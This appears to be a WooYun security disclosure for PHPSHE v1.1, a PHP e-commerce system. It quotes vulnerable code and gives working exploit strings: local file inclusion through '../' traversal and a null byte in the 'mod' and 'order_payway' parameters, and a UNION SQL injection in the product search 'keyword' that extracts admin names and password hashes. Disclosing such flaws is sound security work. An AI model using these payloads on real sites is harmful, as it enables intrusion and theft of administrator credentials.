WooYun.org

//common.php
if (get_magic_quotes_gpc()) {
	!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
	!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
	!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
	!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

//首页文件
<?php
include('common.php');
$cache_category = cache::get('category');
$cache_category_arr = cache::get('category_arr');
$cache_class = cache::get('class');
$cache_ad = cache::get('ad');
$cache_link = cache::get('link');
$cache_page = cache::get('page');
$web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array();
$cart_num = pe_login('user') ? $db->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：
//http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

//product.php文件
case 'list':
		$category_id = intval($id);
		$info = $db->pe_select('category', array('category_id'=>$category_id));
		//搜索
		$sqlwhere = " and `product_state` = 1";
		pe_lead('hook/category.hook.php');
		if ($category_id) {
			$sqlwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
		}
		$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
		if ($_g_orderby) {
			$orderby = explode('_', $_g_orderby);
			$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
		}
		else {
			$sqlwhere .= " order by `product_id` desc";
		}
		$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
		//热卖排行
		$product_hotlist = product_hotlist();
		//当前路径
		$nowpath = category_path($category_id);
		$seo = pe_seo($info['category_name']);
		include(pe_tpl('product_list.html'));
		
		
//跟进selectall函数库
	public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
	{
		//处理条件语句
		$sqlwhere = $this->_dowhere($where);
		return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
	}
	
//exp 
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

//order.php
case 'pay':
		$order_id = pe_dbhold($_g_id);
		$cache_payway = cache::get('payway');
		foreach($cache_payway as $k => $v) {
			$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
			if ($k == 'bank') {
				$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
			}
		}
		$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
		!$order['order_id'] && pe_error('订单号错误...');
		if (isset($_p_pesubmit)) {
			if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
				$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
				foreach ($info_list as $v) {
					$order['order_name'] .= "{$v['product_name']};";			
				}
				echo '正在为您连接支付网站，请稍后...';
				include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
			}//当一切准备好的时候就可以进行"鸡肋包含了"
			else {
				pe_error('支付错误...');
			}
		}
		$seo = pe_seo('选择支付方式');
		include(pe_tpl('order_pay.html'));
	break;
}
//exp：
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98